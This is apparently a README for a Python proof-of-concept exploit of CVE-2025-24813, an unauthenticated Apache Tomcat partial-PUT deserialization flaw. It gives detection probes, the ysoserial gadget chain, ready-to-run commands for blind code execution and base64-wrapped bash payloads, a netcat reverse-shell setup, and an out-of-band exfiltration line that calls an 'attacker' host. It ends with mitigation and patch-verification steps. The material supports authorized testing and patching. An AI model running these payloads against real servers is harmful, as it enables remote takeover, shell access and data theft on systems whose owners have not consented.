Python PoC exploiting CVE-2025-24813, an Apache Tomcat partial PUT deserialization RCE. Auto-detects vulnerable variants, supports blind command execution and reverse shells.
Severity: Critical (CVSS 9.8) Auth required: None Affected: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Patched in: Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat supports partial PUT (chunked upload via Content-Range).
When a partial PUT arrives, Tomcat stages the body in a temp file under:
$CATALINA_HOME/work/…/<url-path-filename>
If the application is configured with PersistentManager + FileStore in context.xml,
Tomcat automatically reads *.session files from the same work directory and deserializes
them to restore sessions.
Combining these two behaviours:
PUT /<sid>.session → writes Java-serialized payload to work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat loads & deserializes the file → RCE
The leading dot (.) in the cookie value triggers absolute-path session lookup
(variant B), which is the path that reliably reaches the staged file.
This PoC uses CommonsCollections6 from ysoserial,
which works on Java 8–17 without @jdk.internal flags and does not depend on
sun.reflect.SerializationConstructorAccessorImpl.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| Status | Meaning |
|---|---|
| PUT 201 | File staged in Tomcat work dir |
| PUT 409 | Path blocked (traversal rejected) |
| GET 200 | Session not found / not deserialized |
| GET 500 | Deserialization triggered → RCE |
The upload is a raw binary Java serialized stream — no URL encoding. Unlike HTTP query-parameter exploits, the payload goes in the request body via PUT, so there is no URL-encoding layer to fight:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
The Content-Range header signals a partial upload; Tomcat writes the body to disk
as-is, preserving every byte of the serialized payload.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
The script auto-detects variant A/B, stops after the first hit, and prints the winning path so you know exactly what worked.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 is blind — Runtime.exec() runs the command, but its stdout/stderr
are discarded; the HTTP response only reflects whether deserialization succeeded (500)
or not (200).
Three ways to get output:
| Method | How |
|---|---|
| Webroot file | Redirect output to a file in /…/webapps/ROOT/, fetch via HTTP |
| Reverse shell | --revshell flag — get an interactive shell, run any command live |
| DNS/OOB | `curl http://attacker/$(id |
| Branch | Vulnerable | Patched |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
In $CATALINA_HOME/conf/web.xml, find the DefaultServlet init-param and set:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
Or disable PersistentManager in context.xml if it is not required:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
For authorized security testing and educational purposes only.